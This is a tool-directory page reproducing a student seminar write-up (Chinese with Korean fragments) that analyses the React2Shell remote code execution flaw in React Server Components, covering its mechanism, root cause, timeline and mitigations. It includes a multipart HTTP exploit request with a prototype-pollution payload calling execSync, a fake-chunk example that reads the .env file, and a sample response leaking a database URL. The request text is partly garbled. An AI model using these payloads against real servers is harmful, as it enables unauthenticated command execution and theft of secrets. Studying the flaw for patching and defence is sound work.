Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
tech-seminar-React2Shell — [우리 FISA] 技术研讨会优胜 - 云服务开发第6期第3组 - React2Shell (CVE-2025-55182) 分析及研究 | Kitploit
工具/GitHubGitHub/woorifisa-service-dev-6th/tech-seminar-react2shell
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育Payload 开发
GitHubwoorifisa-service-dev-6th/tech-seminar-react2shell

tech-seminar-React2Shell

[우리 FISA] 技术研讨会优胜 - 云服务开发第6期第3组 - React2Shell (CVE-2025-55182) 分析及研究

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
16个月前尚未审核

React2Shell (CVE-2025-55182)

우리FISA 기술세미나 6기 - 3팀 React Server Component(RSC)의 설계 결함을 이용한 원격 코드 실행(RCE) 취약점, React2Shell 분석 및 연구

团队

우승사진

成员角色GitHub
남인서资料调查, PPT制作, 演讲@sene03
유승준资料调查, PPT制作, 演讲@fluanceifi
이수현资料调查, PPT制作@hyun793
김유정资料调查, PPT制作@yujung23

目录 (Contents)

  1. 概述:什么是React2Shell?
  2. React2Shell 攻击机制
  3. React2Shell 造成的影响
  4. 前端的安全责任

01. 概述:什么是React2Shell?

React2Shell(CVE-2025-55182) 是在 React Server Component (RSC) 使用的 Flight Protocol 通信过程中发现的一个严重安全漏洞。

  • 核心问题: 攻击者可以在未经身份验证的情况下,仅通过一次 HTTP 请求执行服务器内部命令。
  • 严重程度: CVSS 评分 10.0
  • 发生原因: 在对不可信数据进行反序列化过程中发生的原型污染 (Prototype Pollution)

Flight Protocol 的设计缺陷

React 为了处理组件,除了字符串、数组之外,还使用兼容 Promise、Blob、Map 等复杂类型的 Flight Protocol。

表达式类型说明
$$转义的 $以 $ 开头的字面量字符串
$@Promise/ChunkChunk ID 引用

攻击者利用此类协议流处理方式的漏洞,注入恶意脚本并获取服务器控制权。

时间线

  • 2025.11.29: 通过 Meta Bug Bounty 首次报告
  • 2025.11.30: 安全团队确认并与 React 团队开始协作
  • 2025.12.01: 补丁代码开发及合作伙伴(Vercel 等)验证
  • 2025.12.03: 补丁发布及 CVE 公开

02. React2Shell 攻击机制

  • 最普遍的 attack 方式无需任何前置条件,直接利用 React Flight 协议的引用 (Reference) 系统。
  • 攻击大致分为 安装炸弹 (Payload 传输) → 点火 (反序列化) → 爆炸 (RCE 执行) 三个阶段。

1) 安装炸弹

攻击者通过包含 Next-Action、multipart/form-data 头的请求将 JSON 数据发送到服务器。此时,在请求的 body 中包含伪装成 Promise 对象的虚假 Chunk (Fake Chunk)。

root@kitploit:~
POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) 点火

root@kitploit:~
// 공격자가 전송한 가짜 청크 예시
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}
  1. 攻击者发送的虚假 Chunk 的 then 被映射到 Chunk.prototype.then。
  2. 在反序列化 Blob 数据的过程中,_prefix 中包含的恶意代码作为 Function 的参数传入。
  3. 生成的函数作为 Promise 的 thenable 被调用时,攻击者植入的任意代码在服务器上执行。

3) 爆炸

root@kitploit:~
// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

根本原因

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 这里缺少 hasOwnProperty 检查!
}
  • React 在解析 $1:path:to:value 形式的引用时,以冒号 (:) 分割字符串,然后遍历对象内部。
  • 在此过程中,$1:__proto__:then 的解析使得攻击者可以访问 chunk 的原型及其对象的 then(即 Chunk.prototype.then)。
  • 最终,攻击者发送的虚假 Chunk 获得了真实 Chunk 的 then,导致攻击者意图的代码被执行。

03. React2Shell 造成的影响

该漏洞在现代 Web 生态系统整体上引起了巨大波澜。

  • 服务器组件信任度受损: 引发了“前端框架是否应负责服务器安全?”的讨论
  • 托管平台紧急应对: Vercel、Netlify 等支持 RSC 的主要 PaaS 厂商进行了紧急安全补丁

04. 前端的安全责任

React2Shell 事件留下了“前端开发者也必须了解服务器安全”的教训。

应对措施

1. 立即更新 React 相关包

将 react-server-dom-webpack 等相关包立即更新到最新版本(19.0.1+ 等)

2. 确认框架补丁状态

Next.js 等内嵌 RSC 的框架,仅升级 React 无法解决问题,需要确认框架自身的安全发布说明并升级到最新版本

3. 监控

利用 Grafana 等监控系统,并连接到电子邮件、Slack 等可以发送警报的媒介,设置警报以便立即采取行动

随着技术的发展,前端的领域不断扩展,安全责任的范畴也随之扩大,这一点必须认识到。


参考资料

React Official Patch

React2Shell: CVE-2025-55182 漏洞完整分析指南

React 服务器组件漏洞与系统渗透路径分析

PoC: 漏洞概念验证代码

下载工具